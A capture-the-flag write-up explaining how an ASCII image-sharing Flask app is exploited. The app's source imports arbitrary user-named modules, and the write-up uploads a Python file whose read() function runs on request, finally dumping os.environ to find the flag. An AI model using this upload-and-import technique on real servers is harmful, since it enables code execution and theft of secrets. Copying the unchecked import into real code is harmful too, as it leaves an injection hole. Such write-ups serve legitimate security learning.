Scope
The text that came as description with the CTF was the following:
Look at my fancy ascii image sharing platform. Would be a shame if it were hackable ;)
Only one file was given as a source for this challenge:
fancy-images
├─ app.py
And it’s quite small, in fact that’s all there is to it:
from flask import Flask, request, render_template, redirect
import glob
import json
import sys
import importlib
import os
app = Flask(__name__)
# Setup redirect and hosting of frontend
@app.route('/')
def base():
return render_template('index.html')
@app.route('/data/<path:page>', methods = ['POST','GET','PUT','DELETE'])
def exec_feature(page):
try:
mod = importlib.import_module(f"data.{page}")
if request.method == 'POST' and hasattr(mod, "create"):
data=request.form.to_dict()
print(data)
return mod.create(**data)
elif request.method == 'GET' and hasattr(mod, "read"):
data=request.args.to_dict()
return mod.read(**data)
elif request.method == 'PUT' and hasattr(mod, "update"):
data=request.args.to_dict()
return mod.update(**data)
elif request.method == 'DELETE' and hasattr(mod, "delete"):
data=request.args.to_dict()
return mod.delete(**data)
else:
return "Invalid Request"
except:
return "Invalid Request"
if __name__ == '__main__':
app.debug = False
app.run(port=5000, host="0.0.0.0")
Walkthrough
When you visit the site, you see an input field for a filename, a large input field for the content, and a submit button.
Below all this there is also a hyperlink that takes you to example.txt
,
which contains a big “HELLO” made up of ASCII characters. The interesting thing
is the URL where the file is accessible: data/upload?name=example.txt
.
My first thought was LFI by enumerating name
or just visiting data/upload
,
but that didn’t get me anywhere.
However there is an interesting part in the code:
@app.route('/data/<path:page>', methods = ['POST','GET','PUT','DELETE'])
def exec_feature(page):
try:
mod = importlib.import_module(f"data.{page}")
It looks like importlib
is trying to import any module whose name is given by
data/<name>
without any checks. And looking at the code right below, it tries
to execute a read()
method if one exists:
elif request.method == 'GET' and hasattr(mod, "read"):
data=request.args.to_dict()
return mod.read(**data)
Since any Python file can be imported as a module, and we can choose the
filename for the uploaded content, it should be possible to run our own code,
assuming the file is saved in the same directory as app.py
. I tried this:
asdf.py
def read(*args, **kwargs):
return "Hello there"
After uploading you just have to visit data/asdf
and voila: a html page with
the content “Hello there”, yay!
With this knowledge I spent waaaaay to much time into finding a flag.txt
file, but in the end it was just an environment variable -_-
Anyway, uploading this:
asdf.py
import os
def read(*args, **kwargs):
return str(dict(os.environ))
and visiting data/asdf
does the job.